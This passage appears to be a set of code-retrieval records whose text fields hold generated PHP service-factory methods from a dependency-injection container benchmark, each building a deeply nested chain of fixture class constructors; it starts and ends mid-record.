\\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "25b9d4f7969796edcf91eb2d3cef1b4c", "score": "0.63023967", "text": "protected function getClass20Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))));\n }", "title": "" }, { "docid": "bc27bc37fd31a3e3e99a53e833d16c9f", "score": "0.6298307", "text": "protected function getClass60Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "fe6ecfca87cfd5b6fe9c294dfa13418c", "score": "0.6291086", "text": "protected function getClass90Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class90(new \\DiContainerBenchmarks\\Fixture\\Class89(new \\DiContainerBenchmarks\\Fixture\\Class88(new \\DiContainerBenchmarks\\Fixture\\Class87(new \\DiContainerBenchmarks\\Fixture\\Class86(new \\DiContainerBenchmarks\\Fixture\\Class85(new \\DiContainerBenchmarks\\Fixture\\Class84(new \\DiContainerBenchmarks\\Fixture\\Class83(new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "4c5dfc2169dc8a11fb94ea1df1033bf2", "score": "0.62902385", "text": "protected function getClass71Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "229222104ad5b13da3b0d26be23c666d", "score": "0.6288832", "text": "protected function getClass50Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "ab6dea199b352d987f369ba191c99ca1", "score": "0.6286785", "text": "protected function getClass16Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1())))))))))))))));\n }", "title": "" }, { "docid": "ce56818aced44bfbe3c5bc56cf32bcef", "score": "0.6275358", "text": "protected function getClass57Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "1e677f829a65e918c71a803d603542da", "score": "0.6259156", "text": "protected function getClass59Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "5202b22f625f7b9eb525a2db2a50eed2", "score": "0.6257204", "text": "protected function getClass75Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new \\DiContainerBenchmarks\\Fixture\\Class64(new \\DiContainerBenchmarks\\Fixture\\Class63(new \\DiContainerBenchmarks\\Fixture\\Class62(new \\DiContainerBenchmarks\\Fixture\\Class61(new \\DiContainerBenchmarks\\Fixture\\Class60(new \\DiContainerBenchmarks\\Fixture\\Class59(new \\DiContainerBenchmarks\\Fixture\\Class58(new \\DiContainerBenchmarks\\Fixture\\Class57(new \\DiContainerBenchmarks\\Fixture\\Class56(new \\DiContainerBenchmarks\\Fixture\\Class55(new \\DiContainerBenchmarks\\Fixture\\Class54(new \\DiContainerBenchmarks\\Fixture\\Class53(new \\DiContainerBenchmarks\\Fixture\\Class52(new \\DiContainerBenchmarks\\Fixture\\Class51(new \\DiContainerBenchmarks\\Fixture\\Class50(new \\DiContainerBenchmarks\\Fixture\\Class49(new \\DiContainerBenchmarks\\Fixture\\Class48(new \\DiContainerBenchmarks\\Fixture\\Class47(new \\DiContainerBenchmarks\\Fixture\\Class46(new \\DiContainerBenchmarks\\Fixture\\Class45(new \\DiContainerBenchmarks\\Fixture\\Class44(new \\DiContainerBenchmarks\\Fixture\\Class43(new \\DiContainerBenchmarks\\Fixture\\Class42(new \\DiContainerBenchmarks\\Fixture\\Class41(new \\DiContainerBenchmarks\\Fixture\\Class40(new \\DiContainerBenchmarks\\Fixture\\Class39(new \\DiContainerBenchmarks\\Fixture\\Class38(new \\DiContainerBenchmarks\\Fixture\\Class37(new \\DiContainerBenchmarks\\Fixture\\Class36(new \\DiContainerBenchmarks\\Fixture\\Class35(new \\DiContainerBenchmarks\\Fixture\\Class34(new \\DiContainerBenchmarks\\Fixture\\Class33(new \\DiContainerBenchmarks\\Fixture\\Class32(new \\DiContainerBenchmarks\\Fixture\\Class31(new \\DiContainerBenchmarks\\Fixture\\Class30(new \\DiContainerBenchmarks\\Fixture\\Class29(new \\DiContainerBenchmarks\\Fixture\\Class28(new \\DiContainerBenchmarks\\Fixture\\Class27(new \\DiContainerBenchmarks\\Fixture\\Class26(new \\DiContainerBenchmarks\\Fixture\\Class25(new \\DiContainerBenchmarks\\Fixture\\Class24(new \\DiContainerBenchmarks\\Fixture\\Class23(new \\DiContainerBenchmarks\\Fixture\\Class22(new \\DiContainerBenchmarks\\Fixture\\Class21(new \\DiContainerBenchmarks\\Fixture\\Class20(new \\DiContainerBenchmarks\\Fixture\\Class19(new \\DiContainerBenchmarks\\Fixture\\Class18(new \\DiContainerBenchmarks\\Fixture\\Class17(new \\DiContainerBenchmarks\\Fixture\\Class16(new \\DiContainerBenchmarks\\Fixture\\Class15(new \\DiContainerBenchmarks\\Fixture\\Class14(new \\DiContainerBenchmarks\\Fixture\\Class13(new \\DiContainerBenchmarks\\Fixture\\Class12(new \\DiContainerBenchmarks\\Fixture\\Class11(new \\DiContainerBenchmarks\\Fixture\\Class10(new \\DiContainerBenchmarks\\Fixture\\Class9(new \\DiContainerBenchmarks\\Fixture\\Class8(new \\DiContainerBenchmarks\\Fixture\\Class7(new \\DiContainerBenchmarks\\Fixture\\Class6(new \\DiContainerBenchmarks\\Fixture\\Class5(new \\DiContainerBenchmarks\\Fixture\\Class4(new \\DiContainerBenchmarks\\Fixture\\Class3(new \\DiContainerBenchmarks\\Fixture\\Class2(new \\DiContainerBenchmarks\\Fixture\\Class1()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));\n }", "title": "" }, { "docid": "25a593d8945035a1e0c2b1e85e18e094", "score": "0.6255928", "text": "protected function getClass82Service()\n {\n return new \\DiContainerBenchmarks\\Fixture\\Class82(new \\DiContainerBenchmarks\\Fixture\\Class81(new \\DiContainerBenchmarks\\Fixture\\Class80(new \\DiContainerBenchmarks\\Fixture\\Class79(new \\DiContainerBenchmarks\\Fixture\\Class78(new \\DiContainerBenchmarks\\Fixture\\Class77(new \\DiContainerBenchmarks\\Fixture\\Class76(new \\DiContainerBenchmarks\\Fixture\\Class75(new \\DiContainerBenchmarks\\Fixture\\Class74(new \\DiContainerBenchmarks\\Fixture\\Class73(new \\DiContainerBenchmarks\\Fixture\\Class72(new \\DiContainerBenchmarks\\Fixture\\Class71(new \\DiContainerBenchmarks\\Fixture\\Class70(new \\DiContainerBenchmarks\\Fixture\\Class69(new \\DiContainerBenchmarks\\Fixture\\Class68(new \\DiContainerBenchmarks\\Fixture\\Class67(new \\DiContainerBenchmarks\\Fixture\\Class66(new \\DiContainerBenchmarks\\Fixture\\Class65(new 